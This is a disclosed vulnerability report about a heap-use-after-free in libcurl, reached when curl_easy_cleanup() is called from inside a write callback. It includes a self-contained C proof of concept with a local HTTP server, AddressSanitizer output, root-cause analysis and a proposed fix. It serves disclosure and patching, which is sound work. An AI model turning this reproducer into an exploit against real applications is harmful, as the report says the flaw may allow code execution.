HexBrain

curl · Report #3833577

heap-use-after-free in curl_easy_cleanup() called from callback

N/Astatus
13upvotes
30 Jun 2026disclosed

How it was found

Summary:

Curl_close() (lib/url.c:214) calls curl_multi_remove_handle(data->multi, data) and ignores the return value. When curl_easy_cleanup() is invoked from within a write/read/progress/header callback, multi->in_callback is TRUE, so curl_multi_remove_handle() (lib/multi.c:818-819) returns CURLM_RECURSIVE_API_CALL without removing the handle. Curl_close() then proceeds to free data (curlx_free(data) at lib/url.c:309). When the callback returns, cw_out_cb_write() (lib/cw-out.c:191) calls Curl_set_in_callback(data, FALSE), dereferencing the freed data pointer — a heap-use-after-free. multi_runsingle() continues to use the freed data afterwards. ASan confirms the UAF.

Affected version

curl 8.21.1-DEV (x86_64-pc-linux-gnu) libcurl/8.21.1-DEV OpenSSL/3.5.6 zlib/1.3.1

Bug is in lib/url.c:214, reproduced on current master commit cfc7922377.

Steps To Reproduce:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <curl/curl.h>

static CURL *g_easy;
static int cleanup_done;

static size_t write_cb(char *ptr, size_t size, size_t nmemb, void *u) {
    if(!cleanup_done++) {
        curl_easy_cleanup(g_easy);  /* frees data, multi still references it */
        g_easy = NULL;
    }
    return size * nmemb;
}

static void *http_server(void *arg) {
    int port = *(int *)arg;
    int sfd, cfd, opt = 1;
    struct sockaddr_in addr;
    char buf[4096], body[256], hdr[256];

    sfd = socket(AF_INET, SOCK_STREAM, 0);
    setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    addr.sin_port = htons(port);
    bind(sfd, (struct sockaddr *)&addr, sizeof(addr));
    listen(sfd, 1);
    cfd = accept(sfd, NULL, NULL);
    read(cfd, buf, sizeof(buf));
    memset(body, 'A', sizeof(body));
    int hlen = snprintf(hdr, sizeof(hdr),
        "HTTP/1.0 200 OK\r\nContent-Length: %zu\r\n\r\n", sizeof(body));
    write(cfd, hdr, hlen);
    write(cfd, body, sizeof(body));
    usleep(200000);
    close(cfd); close(sfd);
    return NULL;
}

int main(void) {
    signal(SIGPIPE, SIG_IGN);
    int port = 18080;
    pthread_t tid;
    pthread_create(&tid, NULL, http_server, &port);
    usleep(100000);

    curl_global_init(CURL_GLOBAL_DEFAULT);
    CURLM *multi = curl_multi_init();
    g_easy = curl_easy_init();
    curl_easy_setopt(g_easy, CURLOPT_URL, "http://127.0.0.1:18080/");
    curl_easy_setopt(g_easy, CURLOPT_WRITEFUNCTION, write_cb);
    curl_easy_setopt(g_easy, CURLOPT_NOSIGNAL, 1L);
    curl_multi_add_handle(multi, g_easy);

    int running;
    do {
        curl_multi_perform(multi, &running);
        if(running) curl_multi_wait(multi, NULL, 0, 100, NULL);
    } while(running);

    curl_multi_cleanup(multi);
    curl_global_cleanup();
    pthread_join(tid, NULL);
    return 0;
}

Self-contained Docker reproduction (ASan build):

docker build -t uaf-001 .
docker run --rm uaf-001

Expected ASan output:

==14==ERROR: AddressSanitizer: heap-use-after-free on address 0x522000001978
READ of size 8 at 0x522000001978 thread T0
    #0 Curl_set_in_callback  /root/curl/lib/multi.c:3912
    #1 cw_out_cb_write       /root/curl/lib/cw-out.c:191
    ...
freed by thread T0 here:
    #2 Curl_close            /root/curl/lib/url.c:304
    #3 curl_easy_cleanup     /root/curl/lib/easy.c:844
    #4 write_cb              /root/poc/poc.c:65

SUMMARY: AddressSanitizer: heap-use-after-free /root/curl/lib/multi.c:3912 in Curl_set_in_callback

The root cause is that Curl_close() at lib/url.c:214 ignores the return value of curl_multi_remove_handle(). When in_callback is TRUE, the removal fails silently, but Curl_close() proceeds to free data. The caller (cw_out_cb_write) then dereferences the freed pointer.

The fix should check the return value of curl_multi_remove_handle() in Curl_close(). If it returns CURLM_RECURSIVE_API_CALL, Curl_close() should not proceed with freeing data — it should defer the cleanup until the callback has returned.

Impact

Summary:

A heap-use-after-free occurs when an application calls curl_easy_cleanup() from within a write, read, progress, or header callback. The freed data pointer is subsequently dereferenced by cw_out_cb_write() and multi_runsingle(). This can lead to a process crash or, depending on heap layout, potential code execution.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original